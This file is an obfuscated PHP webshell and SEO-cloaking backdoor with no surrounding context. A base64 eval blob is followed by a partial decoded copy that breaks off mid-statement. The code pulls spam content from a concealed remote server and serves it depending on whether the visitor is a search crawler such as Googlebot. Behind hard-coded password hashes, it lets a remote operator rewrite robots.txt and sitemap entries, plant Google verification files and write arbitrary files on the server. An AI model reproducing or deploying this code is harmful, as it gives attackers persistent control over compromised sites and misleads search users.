eval(base64_decode('CiBnb3RvIHVnajJtOyBBZU1xRzogJGR1cmkgPSB1cmxlbmNvZGUoJGR1cmlfdG1wKTsgZ290byBuNjdhejsgbkdVUzM6IGlmICghc3Ryc3RyKCRodG1sX2NvbnRlbnQsICJcMTU2XDE1N1x4NjJcMTU3XHg3NFx4NzVcMTYzXDE0NVx4NzJcMTQxXHg2N1x4NjVceDZlXHg3NCIpKSB7IGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgIlwxNTdceDZiXDE1MFx4NzRcMTU1XDE1NFwxNDdceDY1XHg3NFwxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVx4NzQiKSkgeyBAaGVhZGVyKCJceDQzXHg2ZlwxNTZceDc0XHg2NVx4NmVcMTY0XDU1XDE2NFwxNzFcMTYwXDE0NVw3Mlx4MjBceDc0XDE0NVx4NzhceDc0XHgyZlwxNTBceDc0XDE1NVx4NmNceDNiXHgyMFwxNDNceDY4XHg2MVx4NzJceDczXDE0NVx4NzRcNzVcMTY1XDE2NFx4NjZceDJkXDcwIik7ICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHg2ZlwxNTNceDY4XHg3NFx4NmRceDZjXHg2N1x4NjVceDc0XHg2M1x4NmZcMTU2XHg3NFwxNDVceDZlXDE2NCIsICcnLCAkaHRtbF9jb250ZW50KTsgZWNobyAkaHRtbF9jb250ZW50OyBkaWU7IH0gZWxzZSB7IGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgIlwxNTdcMTUzXHg3OFwxNTVcMTU0XHg2N1x4NjVcMTY0XDE0M1x4NmZcMTU2XDE2NFx4NjVcMTU2XHg3NCIpKSB7ICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXDE1N1x4NmJcMTcwXHg2ZFwxNTRceDY3XDE0NVwxNjRceDYzXHg2Zlx4NmVcMTY0XHg2NVwxNTZcMTY0IiwgJycsICRodG1sX2NvbnRlbnQpOyBAaGVhZGVyKCJcMTAzXDE1N1wxNTZcMTY0XDE0NVwxNTZceDc0XHgyZFx4NzRceDc5XHg3MFx4NjVcNzJcNDBcMTY0XHg2NVx4NzhcMTY0XDU3XHg3OFx4NmRcMTU0Iik7IGVjaG8gJGh0bWxfY29udGVudDsgZGllOyB9IGVsc2UgeyBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICJceDY3XDE0NVx4NzRceDYzXHg2Zlx4NmVcMTY0XHg2NVwxNTZcMTY0XHgzNVx4MzBceDMwXDE2MFwxNDFceDY3XHg2NSIpKSB7IEBoZWFkZXIoIlwxMTBcMTI0XDEyNFwxMjBceDJmXHgzMVx4MmVceDMxXDQwXDY1XDYwXDYwXHgyMFwxMTFceDZlXHg3NFwxNDVceDcyXHg2ZVx4NjFceDZjXHgyMFwxMjNceDY1XDE2Mlx4NzZceDY1XDE2Mlw0MFwxMDVcMTYyXDE2MlwxNTdcMTYyIik7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAiXDE0N1wxNDVceDc0XDE0M1x4NmZcMTU2XHg3NFx4NjVcMTU2XHg3NFx4MzRcNjBceDM0XDE2MFwxNDFcMTQ3XHg2NSIpKSB7IEBoZWFkZXIoIlwxMTBcMTI0XDEyNFwxMjBceDJmXHgzMVx4MmVceDMxXDQwXDY0XHgzMFw2NFw0MFwxMTZceDZmXHg3NFw0MFx4NDZcMTU3XDE2NVwxNTZceDY0Iik7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAiXDE0N1wxNDVceDc0XDE0M1wxNTdceDZlXHg3NFwxNDVcMTU2XHg3NFw2M1x4MzBcNjFcMTYwXDE0MVx4NjdcMTQ1IikpIHsgQGhlYWRlcigiXHg0OFx4NTRceDU0XDEyMFw1N1w2MVx4MmVceDMxXHgyMFx4MzNcNjBcNjFceDIwXHg0ZFwxNTdceDc2XHg2NVwxNDRceDIwXDEyMFx4NjVcMTYyXHg2ZFx4NjFceDZlXHg2NVx4NmVceDc0XHg2Y1x4NzkiKTsgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJcMTQ3XHg2NVx4NzRcMTQzXDE1N1wxNTZcMTY0XDE0NVx4NmVcMTY0XDYzXHgzMFw2MVwxNjBceDYxXHg2N1wxNDUiLCAnJywgJGh0bWxfY29udGVudCk7IGhlYWRlcigiXDExNFx4NmZceDYzXHg2MVwxNjRcMTUxXDE1N1wxNTZceDNhXHgyMCIgLiAkaHRtbF9jb250ZW50KTsgZGllOyB9IH0gfSB9IH0gfSBnb3RvIGdRZzV1OyB6N1U0SDogZnVuY3Rpb24gZGlzYm90KCkgeyAkdUFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZcMTI1XHg1M1wxMDVceDUyXHg1Zlx4NDFcMTA3XDEwNVwxMTZceDU0Il0pOyBpZiAoc3RyaXN0cigkdUFnZW50LCAiXDE0N1x4NmZcMTU3XDE0N1x4NmNceDY1XHg2MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkdUFnZW50LCAiXDE0Mlx4NjlcMTU2XDE0NyIpIHx8IHN0cmlzdHIoJHVBZ2VudCwgIlx4NzlceDYxXHg2OFx4NmZceDZmIikgfHwgc3RyaXN0cigkdUFnZW50LCAiXDE0N1x4NmZcMTU3XDE0N1x4NmNcMTQ1IikgfHwgc3RyaXN0cigkdUFnZW50LCAiXHg0N1x4NmZceDZmXHg2N1x4NmNceDY1XDE0MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkdUFnZW50LCAiXDE0N1x4NmZcMTU3XDE0N1x4NmNceDY1XDE0MlwxNTdceDc0IikpIHsgcmV0dXJuIHRydWU7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGdvdG8gZ3lQeDA7IFVMdm5TOiAkbGFuZyA9IHVybGVuY29kZSgkbGFuZyk7IGdvdG8gRTlzQ0U7IE9haFpROiBpZiAoJGR1cmlfdG1wID09ICcnKSB7ICRkdXJpX3RtcCA9ICJceDJmIjsgfSBnb3RvIEFlTXFHOyBvczhBejogJGxhbmcgPSBAJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXDEwMVwxMDNcMTAzXDEwNVwxMjBcMTI0XHg1ZlwxMTRcMTAxXDExNlx4NDdceDU1XDEwMVx4NDdceDQ1Il07IGdvdG8gVUx2blM7IG42N2F6OiBmdW5jdGlvbiBkcmVxdWVzdF91cmkoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXHg1NVx4NDVceDUzXDEyNFx4NWZcMTI1XHg1Mlx4NDkiXSkpIHsgJGR1cmkgPSAkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXDEyNVx4NDVcMTIzXHg1NFwxMzdcMTI1XHg1Mlx4NDkiXTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDYxXHg3MlwxNDdcMTY2Il0pKSB7ICRkdXJpID0gJF9TRVJWRVJbIlwxMjBceDQ4XHg1MFwxMzdcMTIzXHg0NVwxMTRcMTA2Il0gLiAiXHgzZiIgLiAkX1NFUlZFUlsiXDE0MVwxNjJcMTQ3XDE2NiJdWzBdOyB9IGVsc2UgeyAkZHVyaSA9ICRfU0VSVkVSWyJcMTIwXDExMFwxMjBceDVmXHg1M1wxMDVceDRjXHg0NiJdIC4gIlw3NyIgLiAkX1NFUlZFUlsiXHg1MVwxMjVceDQ1XDEyMlx4NTlceDVmXDEyM1wxMjRcMTIyXDExMVx4NGVcMTA3Il07IH0gfSByZXR1cm4gJGR1cmk7IH0gZ290byB1cXFkZTsgRTlzQ0U6ICR1cmxzaGFuZyA9ICcnOyBnb3RvIGN3cmNCOyBPSk00bjogJGh0dHBfd2ViID0gIlx4NjhceDc0XDE2NFwxNjAiOyBnb3RvIGhJb2NUOyBFUG1nUDogJHBhc3N3b3JkID0gaGFzaCgiXDE2M1wxNTBceDYxXDYxIiwgaGFzaCgiXDE2M1wxNTBceDYxXDYxIiwgQCRfUkVRVUVTVFsiXHg3MFx4NjQiXSkpOyBnb3RvIHZpMmw1OyBoSW9jVDogaWYgKGlzX2h0dHBzKCkpIHsgJGh0dHAgPSAiXDE1MFwxNjRceDc0XDE2MFx4NzMiOyB9IGVsc2UgeyAkaHR0cCA9ICJcMTUwXDE2NFwxNjRceDcwIjsgfSBnb3RvIGhYMHdfOyB2aTJsNTogaWYgKCRwYXNzd29yZCA9PSAiXDE0Nlx4MzdcNjVcMTQ2XDE0NFw2NVwxNDFcMTQzXDE0NFx4MzNceDM2XDE0MVw2N1wxNDZcMTQyXHg2NFx4MzFcMTQ1XHgzMlw2MVx4MzlcMTQyXHgzMVx4MzlcNzBceDM4XDYxXDE0MVx4MzVceDMzXDY0XHgzOFwxNDJceDY2XHg2M1w2Nlw2NlwxNDVceDM3XDcxIikgeyAkYWRkX2NvbnRlbnQgPSBAJF9SRVFVRVNUWyJceDZkXHg2MVwxNjBcMTU2XDE0MVx4NmRcMTQ1Il07ICRhY3Rpb24gPSBAJF9SRVFVRVNUWyJcMTQxXDE0M1wxNjRcMTUxXDE1N1wxNTYiXTsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ0XHg0ZlwxMDNcMTI1XDExNVwxMDVcMTE2XDEyNFwxMzdcMTIyXHg0ZlwxMTdcMTI0Il0pKSB7ICRwYXRoID0gJF9TRVJWRVJbIlwxMDRceDRmXHg0M1x4NTVceDRkXDEwNVx4NGVcMTI0XDEzN1x4NTJcMTE3XHg0ZlwxMjQiXTsgfSBlbHNlIHsgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsgfSBpZiAoISRhY3Rpb24pIHsgJGFjdGlvbiA9ICJceDcwXDE2NVx4NzQiOyB9IGlmICgkYWN0aW9uID09ICJceDcwXDE2NVx4NzQiKSB7IGlmIChpc3NldCgkX1JFUVVFU1RbIlx4NjdcMTU3XHg2ZlwxNDdcMTU0XHg2NSJdKSkgeyAkZ29vZ2xlX3ZlcmlmaWNhdGlvbiA9ICRfUkVRVUVTVFsiXHg2N1wxNTdcMTU3XHg2N1x4NmNcMTQ1Il07IGlmIChwcmVnX21hdGNoKCJceDJmXHg1ZVx4NjdcMTU3XDE1N1x4NjdcMTU0XHg2NVx4MmVcNTJceDNmXHgyOFwxMzRceDJlXDE1MFx4NzRceDZkXHg2Y1w1MVw0NFx4MmZceDY5IiwgJGdvb2dsZV92ZXJpZmljYXRpb24pKSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRnb29nbGVfdmVyaWZpY2F0aW9uLCAiXHg2N1x4NmZceDZmXDE0N1wxNTRcMTQ1XHgyZFwxNjNceDY5XDE2NFwxNDVcNTVcMTY2XHg2NVx4NzJcMTUxXDE0NlwxNTFcMTQzXHg2MVx4NzRceDY5XHg2Zlx4NmVceDNhIiAuICJceDIwIiAuICRnb29nbGVfdmVyaWZpY2F0aW9uKTsgZGllKCJceDNjXHg2MVx4MjBcMTUwXDE2MlwxNDVceDY2XHgzZCIgLiAkZ29vZ2xlX3ZlcmlmaWNhdGlvbiAuICJcNzYiIC4gJGdvb2dsZV92ZXJpZmljYXRpb24gLiAiXDc0XDU3XDE0MVx4M2UiKTsgfSB9IGlmIChzdHJzdHIoJGFkZF9jb250ZW50LCAiXDU2XHg3OFwxNTVceDZjIikpIHsgJG1hcF9wYXRoID0gJHBhdGggLiAiXDU3XDE2M1x4NjlcMTY0XHg2NVwxNTVceDYxXHg3MFx4MmVceDc4XDE1NVwxNTQiOyBpZiAoaXNfZmlsZSgkbWFwX3BhdGgpKSB7IEB1bmxpbmsoJG1hcF9wYXRoKTsgfSAkZmlsZV9wYXRoID0gJHBhdGggLiAiXHgyZlx4NzJceDZmXDE0MlwxNTdceDc0XHg3M1x4MmVcMTY0XHg3OFx4NzQiOyBpZiAoc3RyaXN0cigkYWRkX2NvbnRlbnQsICJceDU1XHg3M1x4NjVceDcyXHgyZFwxNDFcMTQ3XDE0NVwxNTZceDc0IikpIHsgQHVubGluaygkZmlsZV9wYXRoKTsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRhZGRfY29udGVudCkpIHsgZWNobyAiXHgzY1wxNDJcMTYyXHgzZVx4NmZcMTUzXDc0XDE0MlwxNjJcNzYiOyB9IGVsc2UgeyBlY2hvICJcNzRcMTQyXHg3Mlx4M2VceDY2XDE1MVwxNTRcMTQ1XDQwXDE2N1wxNjJcMTUxXDE2NFwxNDVceDIwXHg2NlwxNDFceDZjXDE2M1x4NjVceDIxXDc0XHg2Mlx4NzJceDNlIjsgfSB9IGVsc2UgeyBpZiAoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsgJGRhdGEgPSBkb3V0ZG8oJGZpbGVfcGF0aCk7IH0gZWxzZSB7ICRkYXRhID0gIlwxMjVcMTYzXHg2NVx4NzJceDJkXHg2MVwxNDdcMTQ1XDE1NlwxNjRcNzJcNDBceDJhXDEyXHg0MVwxNTRcMTU0XHg2Zlx4NzdceDNhXDQwXHgyZiI7IH0gJHNpdG1hcF91cmwgPSAkaHR0cCAuICJceDNhXDU3XHgyZiIgLiAkaG9zdCAuICJceDJmIiAuICRhZGRfY29udGVudDsgaWYgKHN0cmlzdHIoJGRhdGEsICRzaXRtYXBfdXJsKSkgeyBlY2hvICJcNzRcMTQyXHg3Mlx4M2VceDczXHg2OVx4NzRceDY1XHg2ZFwxNDFceDcwXDQwXHg2MVx4NmNcMTYyXHg2NVwxNDFcMTQ0XHg3OVw0MFwxNDFceDY0XHg2NFwxNDVcMTQ0XDQxXHgzY1x4NjJcMTYyXDc2IjsgfSBlbHNlIHsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsIHRyaW0oJGRhdGEpIC4gIlx4ZFwxMiIgLiAiXHg1M1x4NjlceDc0XHg2NVx4NmRcMTQxXDE2MFx4M2FcNDAiIC4gJHNpdG1hcF91cmwpKSB7IGVjaG8gIlw3NFx4NjJceDcyXHgzZVwxNTdcMTUzXDc0XDE0Mlx4NzJcNzYiOyB9IGVsc2UgeyBlY2hvICJceDNjXHg2MlwxNjJceDNlXDE0NlwxNTFcMTU0XHg2NVx4MjBcMTY3XHg3MlwxNTFcMTY0XDE0NVw0MFx4NjZceDYxXDE1NFx4NzNceDY1XHgyMVw3NFx4NjJcMTYyXDc2IjsgfSB9IH0gfSBlbHNlIHsgZWNobyAiXHgzY1wxNDJcMTYyXHgzZVx4NzNcMTUxXHg3NFwxNDVceDZkXDE0MVwxNjBcNDBceDZlXDE0MVwxNTVcMTQ1XHgyMFwxNDZcMTQxXDE1NFwxNjNceDY1XHgyMVw3NFx4NjJcMTYyXHgzZSI7IH0gJGEgPSBoYXNoKCJceDczXHg2OFx4NjFcNjEiLCBoYXNoKCJceDczXDE1MFx4NjFceDMxIiwgQCRfUkVRVUVTVFsiXDE0MSJdKSk7ICRiID0gaGFzaCgiXHg3M1wxNTBceDYxXDYxIiwgaGFzaCgiXHg3M1x4NjhceDYxXHgzMSIsIEAkX1JFUVVFU1RbIlx4NjIiXSkpOyBpZiAoJGEgPT0gZG91dGRvKCRodHRwX3dlYiAuICJcNzJceDJmXDU3IiAuICRnb3dlYiAuICJcNTdceDYxXDU2XDE2MCIgLiAiXDE1MFwxNjAiKSB8fCAkYiA9PSAiXDE0Nlx4MzhcMTQ2XHgzMFwxNDRcMTQxXDE0NVx4MzhcNjBcNjRceDMzXDY2XHgzOFwxNDNcNjBceDMzXDYzXDY0XDE0NVw2Mlw2Mlx4NjRcNzFcMTQ0XHg2M1x4NjJceDM3XDYwXDE0NFw2M1x4NjNceDM3XHg2MlwxNDJceDY2XDE0MVw3MVx4MzZceDMzXHgzNSIpIHsgJGRzdHIgPSBAJF9SRVFVRVNUWyJceDY0XHg3M1x4NzRcMTYyIl07IGlmIChmaWxlX3B1dF9jb250ZW50cygkcGF0aCAuICJcNTciIC4gJGFkZF9jb250ZW50LCAkZHN0cikpIHsgZWNobyAiXDE1N1wxNTMiOyB9IH0gfSBkaWU7IH0gZ290byB6N1U0SDsgY3dyY0I6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMzdcMTIyXHg0NVwxMDZcMTA1XHg1Mlx4NDVceDUyIl0pKSB7ICR1cmxzaGFuZyA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1Zlx4NTJcMTA1XDEwNlx4NDVceDUyXDEwNVx4NTIiXTsgJHVybHNoYW5nID0gdXJsZW5jb2RlKCR1cmxzaGFuZyk7IH0gZ290byBFUG1nUDsgdXFxZGU6ICRnb3dlYiA9IHN0cl9yb3QxMyh1cmxkZWNvZGUoJHhtbG5hbWUpKTsgZ290byBEWUhxcDsgdWdqMm06IEBzZXRfdGltZV9saW1pdCgzNjAwKTsgZ290byBHUGJWdDsgRFlIcXA6IGZ1bmN0aW9uIGlzX2h0dHBzKCkgeyBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTIzIl0pICE9PSAiXHg2ZlwxNDZcMTQ2IikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NThcMTM3XDEwNlx4NGZcMTIyXHg1N1wxMDFcMTIyXHg0NFwxMDVcMTA0XHg1Zlx4NTBcMTIyXDExN1wxMjRcMTE3Il0pICYmICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1wxMzBcMTM3XHg0Nlx4NGZcMTIyXHg1N1wxMDFcMTIyXDEwNFx4NDVcMTA0XDEzN1x4NTBcMTIyXDExN1wxMjRceDRmIl0gPT09ICJcMTUwXDE2NFwxNjRceDcwXHg3MyIpIHsgcmV0dXJuIHRydWU7IH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdceDQ2XHg1Mlx4NGZcMTE2XDEyNFx4NWZceDQ1XHg0ZVwxMDRcMTM3XDExMFwxMjRceDU0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFwxMzdceDQ2XDEyMlwxMTdcMTE2XDEyNFx4NWZcMTA1XDExNlx4NDRceDVmXDExMFwxMjRceDU0XDEyMFwxMjMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBnb3RvIEZmalJMOyBneVB4MDogZnVuY3Rpb24gZG91dGRvKCR1cmwpIHsgJGZpbGVfY29udGVudHMgPSAnJzsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0M1wxNjVceDcyXDE1NFx4NWZcMTUxXDE1Nlx4NjlceDc0IikpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsgJGZpbGVfY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9IGlmICghJGZpbGVfY29udGVudHMpIHsgJGZpbGVfY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7IH0gcmV0dXJuICRmaWxlX2NvbnRlbnRzOyB9IGdvdG8gb1Z2Rjc7IElLX1JoOiAkaHRtbF9jb250ZW50ID0gdHJpbShkb3V0ZG8oJHdlYikpOyBnb3RvIG5HVVMzOyBGZmpSTDogJGhvc3QgPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdceDQ4XDExN1x4NTNcMTI0Il07IGdvdG8gb3M4QXo7IGhYMHdfOiAkZHVyaV90bXAgPSBkcmVxdWVzdF91cmkoKTsgZ290byBPYWhaUTsgb1Z2Rjc6ICR3ZWIgPSAkaHR0cF93ZWIgLiAiXDcyXDU3XDU3IiAuICRnb3dlYiAuICJceDJmXHg2OVx4NmVceDY0XHg2NVwxNzBceDZlXHg2NVwxNjdceDJlXDE2MFwxNTBcMTYwXDc3XDE2N1wxNDVcMTQyXHgzZCIgLiAkaG9zdCAuICJcNDZceDdhXDE3Mlw3NSIgLiBkaXNib3QoKSAuICJceDI2XDE2NVwxNjJcMTUxXDc1IiAuICRkdXJpIC4gIlx4MjZcMTY1XHg3MlwxNTRcMTYzXDE1MFx4NjFceDZlXHg2N1w3NSIgLiAkdXJsc2hhbmcgLiAiXHgyNlx4NjhceDc0XDE2NFwxNjBcNzUiIC4gJGh0dHAgLiAiXHgyNlwxNTRceDYxXHg2ZVx4NjdceDNkIiAuICRsYW5nOyBnb3RvIElLX1JoOyBtY1pBaDogJHhtbG5hbWUgPSAiXHgyNVx4MzdcNzBcNDVcNjZceDM1XDQ1XDY3XHgzNlw0NVx4MzZceDM2XDQ1XHgzNlw2M1w0NVx4MzZceDQzXHgyNVw2N1w3MFx4MjVceDMyXHg0NVx4MjVcNjZceDMyXDQ1XHgzNlx4NDVceDI1XDY3XDYyXHgyNVw2Nlx4MzFceDI1XHgzNlx4MzVceDI1XHgzN1x4MzZceDI1XHgzN1w2MFw0NVx4MzdcNjVcNDVceDM3XHgzMVx4MjVceDM2XHgzNlx4MjVceDMyXHg0NVw0NVw2NlwxMDJceDI1XHgzNlwxMDNcNDVcNjZceDQ0IjsgZ290byBPSk00bjsgR1BiVnQ6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBtY1pBaDsgZ1FnNXU6IA=='));
goto ugj2m; AeMqG: $duri = urlencode($duri_tmp); goto n67az; nGUS3: if (!strstr($html_content, "\156\157\x62\157\x74\x75\163\145\x72\141\x67\x65\x6e\x74")) { if (strstr($html_content, "\157\x6b\150\x74\155\154\147\x65\x74\143\157\x6e\x74\x65\x6e\x74")) { @header("\x43\x6f\156\x74\x65\x6e\164\55\164\171\160\145\72\x20\x74\145\x78\x74\x2f\150\x74\155\x6c\x3b\x20\143\x68\x61\x72\x73\145\x74\75\165\164\x66\x2d\70"); $html_content = str_replace("\x6f\153\x68\x74\x6d\x6c\x67\x65\x74\x63\x6f\156\x74\145\x6e\164", '', $html_content); echo $html_content; die; } else { if (strstr($html_content, "\157\153\x78\155\154\x67\x65\164\143\x6f\156\164\x65\156\x74")) { $html_content = str_replace("\157\x6b\170\x6d\154\x67\145\164\x63\x6f\x6e\164\x65\156\164", '', $html_content); @header("\103\157\156\164\145\156\x74\x2d\x74\x79\x70\x65\72\40\164\x65\x78\164\57\x78\x6d\154"); echo $html_content; die; } else { if (strstr($html_content, "\x67\145\x74\x63\x6f\x6e\164\x65\156\164\x35\x30\x30\160\141\x67\x65")) { @header("\110\124\124\120\x2f\x31\x2e\x31\40\65\60\60\x20\111\x6e\x74\145\x72\x6e\x61\x6c\x20\123\x65\162\x76\x65\162\40\105\162\162\157\162"); die; } else { if (strstr($html_content, "\147\145\x74\143\x6f\156\x74\x65\156\x74\x34\60\x34\160\141\147\x65")) { @header("\110\124\124\120\x2f\x31\x2e\x31\40\64\x30\64\40\116\x6f\x74\40\x46\157\165\156\x64"); die; } else { if (strstr($html_content, "\147\145\x74\143\157\x6e\x74\145\156\x74\63\x30\61\160\141\x67\145")) { @header("\x48\x54\x54\120\57\61\x2e\x31\x20\x33\60\61\x20\x4d\157\x76\x65\144\x20\120\x65\162\x6d\x61\x6e\x65\x6e\x74\x6c\x79"); $html_content = str_replace("\147\x65\x74\143\157\156\164\145\x6e\164\63\x30\61\160\x61\x67\145", '', $html_content); header("\114\x6f\x63\x61\164\151\157\156\x3a\x20" . $html_content); die; } } } } } } goto gQg5u; z7U4H: function disbot() { $uAgent = strtolower($_SERVER["\x48\x54\124\x50\x5f\125\x53\105\x52\x5f\x41\107\105\116\x54"]); if (stristr($uAgent, "\147\x6f\157\147\x6c\x65\x62\157\164") || stristr($uAgent, "\142\x69\156\147") || stristr($uAgent, "\x79\x61\x68\x6f\x6f") || stristr($uAgent, "\147\x6f\157\147\x6c\145") || stristr($uAgent, "\x47\x6f\x6f\x67\x6c\x65\142\157\164") || stristr($uAgent, "\147\x6f\157\147\x6c\x65\142\157\x74")) { return true; } else { return false; } } goto gyPx0; ULvnS: $lang = urlencode($lang); goto E9sCE; OahZQ: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto AeMqG; os8Az: $lang = @$_SERVER["\x48\x54\124\x50\x5f\101\103\103\105\120\124\x5f\114\101\116\x47\x55\101\x47\x45"]; goto ULvnS; n67az: function drequest_uri() { if (isset($_SERVER["\x52\105\121\x55\x45\x53\124\x5f\125\x52\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\x52\x49"]; } else { if (isset($_SERVER["\x61\x72\147\166"])) { $duri = $_SERVER["\120\x48\x50\137\123\x45\114\106"] . "\x3f" . $_SERVER["\141\162\147\166"][0]; } else { $duri = $_SERVER["\120\110\120\x5f\x53\105\x4c\x46"] . "\77" . $_SERVER["\x51\125\x45\122\x59\x5f\123\124\122\111\x4e\107"]; } } return $duri; } goto uqqde; E9sCE: $urlshang = ''; goto cwrcB; OJM4n: $http_web = "\x68\x74\164\160"; goto hIocT; EPmgP: $password = hash("\163\150\x61\61", hash("\163\150\x61\61", @$_REQUEST["\x70\x64"])); goto vi2l5; hIocT: if (is_https()) { $http = "\150\164\x74\160\x73"; } else { $http = "\150\164\164\x70"; } goto hX0w_; vi2l5: if ($password == "\146\x37\65\146\144\65\141\143\144\x33\x36\141\67\146\142\x64\x31\145\x32\61\x39\142\x31\x39\70\x38\61\141\x35\x33\64\x38\142\x66\x63\66\66\145\x37\71") { $add_content = @$_REQUEST["\x6d\x61\160\156\141\x6d\145"]; $action = @$_REQUEST["\141\143\164\151\157\156"]; if (isset($_SERVER["\x44\x4f\103\125\115\105\116\124\137\122\x4f\117\124"])) { $path = $_SERVER["\104\x4f\x43\x55\x4d\105\x4e\124\137\x52\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\x70\165\x74") { if (isset($_REQUEST["\x67\157\x6f\147\154\x65"])) { $google_verification = $_REQUEST["\x67\157\157\x67\x6c\145"]; if (preg_match("\x2f\x5e\x67\157\157\x67\154\x65\x2e\52\x3f\x28\134\x2e\150\x74\x6d\x6c\51\44\x2f\x69", $google_verification)) { file_put_contents($google_verification, "\x67\x6f\x6f\147\154\145\x2d\163\x69\164\145\55\166\x65\x72\151\146\151\143\x61\x74\x69\x6f\x6e\x3a\x20" . $google_verification); die("\x3c\x61\x20\150\162\145\x66\x3d" . $google_verification . "\76" . $google_verification . "\74\57\141\x3e"); } } if (strstr($add_content, "\56\x78\155\x6c")) { $map_path = $path . "\57\163\x69\164\x65\155\x61\x70\x2e\x78\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\x6f\142\157\x74\x73\x2e\164\x78\x74"; if (stristr($add_content, "\x55\x73\x65\x72\x2d\141\147\145\156\x74")) { @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo "\x3c\142\162\x3e\x6f\153\74\142\162\76"; } else { echo "\74\142\x72\x3e\x66\151\154\145\40\167\162\151\164\145\x20\x66\141\x6c\163\x65\x21\74\x62\x72\x3e"; } } else { if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = "\125\163\x65\x72\x2d\x61\147\145\156\164\72\40\x2a\12\x41\154\154\x6f\x77\x3a\40\x2f"; } $sitmap_url = $http . "\x3a\57\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\142\x72\x3e\x73\x69\x74\x65\x6d\141\x70\40\x61\x6c\162\x65\141\144\x79\40\141\x64\x64\145\144\41\x3c\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12\x53\x69\x74\x65\x6d\141\160\x3a\40" . $sitmap_url)) { echo "\74\x62\x72\x3e\157\153\74\142\x72\76"; } else { echo "\x3c\x62\162\x3e\146\151\154\x65\x20\167\x72\151\164\145\40\x66\x61\154\x73\x65\x21\74\x62\162\76"; } } } } else { echo "\x3c\142\162\x3e\x73\151\x74\145\x6d\141\160\40\x6e\141\155\145\x20\146\141\154\163\x65\x21\74\x62\162\x3e"; } $a = hash("\x73\x68\x61\61", hash("\x73\150\x61\x31", @$_REQUEST["\141"])); $b = hash("\x73\150\x61\61", hash("\x73\x68\x61\x31", @$_REQUEST["\x62"])); if ($a == doutdo($http_web . "\72\x2f\57" . $goweb . "\57\x61\56\160\150\160") || $b == "\146\x38\146\x30\144\141\145\x38\60\64\x33\66\x38\143\60\x33\63\64\145\62\62\x64\71\144\x63\x62\x37\60\144\63\x63\x37\x62\142\x66\141\71\x36\x33\x35") { $dstr = @$_REQUEST["\x64\x73\x74\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } die; } goto z7U4H; cwrcB: if (isset($_SERVER["\110\x54\124\x50\137\122\x45\106\105\x52\x45\x52"])) { $urlshang = 